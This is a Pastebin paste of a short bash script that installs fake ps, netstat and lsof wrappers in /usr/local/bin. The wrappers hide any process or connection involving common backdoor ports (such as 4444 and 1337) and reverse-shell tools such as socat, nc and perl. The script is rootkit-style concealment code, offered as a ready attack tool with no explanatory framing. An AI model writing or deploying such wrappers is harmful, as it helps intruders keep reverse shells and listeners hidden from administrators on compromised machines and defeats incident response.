Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2020
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.57 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. touch /usr/local/bin/ps
  4.  
  5. cat <<EOF >> /usr/local/bin/ps
  6. #!/bin/bash
  7. /bin/ps \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
  8. EOF
  9.  
  10. chmod +x /usr/local/bin/ps
  11.  
  12. touch /usr/local/bin/netstat
  13.  
  14. cat <<EOF >> /usr/local/bin/netstat
  15. #!/bin/bash
  16. /bin/netstat \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
  17. EOF
  18.  
  19. chmod +x /usr/local/bin/netstat
  20.  
  21. touch /usr/local/bin/lsof
  22.  
  23. cat <<EOF >> /usr/local/bin/lsof
  24. #!/bin/bash
  25. /usr/bin/lsof \$@ | grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'
  26. EOF
  27.  
  28. chmod +x /usr/local/bin/lsof
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement